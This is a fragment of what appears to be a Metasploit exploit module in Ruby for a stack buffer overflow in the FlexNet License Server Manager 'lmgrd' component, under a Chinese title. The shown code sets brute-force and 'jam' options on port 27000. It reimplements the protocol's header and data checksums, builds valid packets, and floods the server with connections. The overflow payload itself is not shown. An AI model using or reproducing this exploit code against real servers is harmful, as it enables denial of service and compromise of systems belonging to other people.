FlexNet License Server Manager 'lmgrd' 组件栈缓冲区溢出(2)

register_options(
      [
        Opt::RPORT(27000),
        OptInt.new('Attempts', [ true, 'Number of attempts for the exploit phase', 20 ]),
        OptInt.new('Wait', [ true, 'Delay between brute force attempts', 2 ]),
        OptInt.new('Jam', [ true, 'Number of requests to jam the server', 100 ])
      ], self.class)
  end

def header_checksum(packet)
    packet_bytes = packet.unpack("C*")
    checksum = packet_bytes[0]
    i = 2
    while i < 0x14
      checksum = checksum + packet_bytes[i]
      i = i + 1
    end
    return (checksum & 0x0FF)
  end

def data_checksum(packet_data)
    word_table = ""
    i = 0
    while i < 256
      v4 = 0
      v3 = i
      j = 8

while j > 0
        if ((v4 ^ v3) & 1) == 1
          v4 = ((v4 >> 1) ^ 0x3A5D) & 0x0FFFF
        else
          v4 = (v4 >> 1) & 0x0FFFF
        end
        v3 >>= 1
        j = j - 1
      end

word_table << [v4].pack("S")
      i = i + 1
    end
    k = 0
    checksum = 0
    data_bytes = packet_data.unpack("C*")
    word_table_words = word_table.unpack("S*")
    while k < packet_data.length
      position = data_bytes[k] ^ (checksum & 0x0FF)
      checksum = (word_table_words[position] ^ (checksum >> 8)) & 0x0FFFF
      k = k + 1
    end
    return checksum
  end

def create_packet(data)
    pkt = "\x2f"
    pkt << "\x00" # header checksum
    pkt << "\x00\x00" # data checksum
    pkt << "\x00\x00" # pkt length
    pkt << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
    pkt << data

pkt[4,2] = [pkt.length].pack("n")

data_sum = data_checksum(pkt[4, pkt.length - 4])
    pkt[2, 2] = [data_sum].pack("n")

hdr_sum = header_checksum(pkt[0, 20])
    pkt[1] = [hdr_sum].pack("C")

return pkt
  end

def jam
    pkt = create_packet("")

datastore['Jam'].times do
      connect
      sock.put(pkt)
      disconnect
    end
  end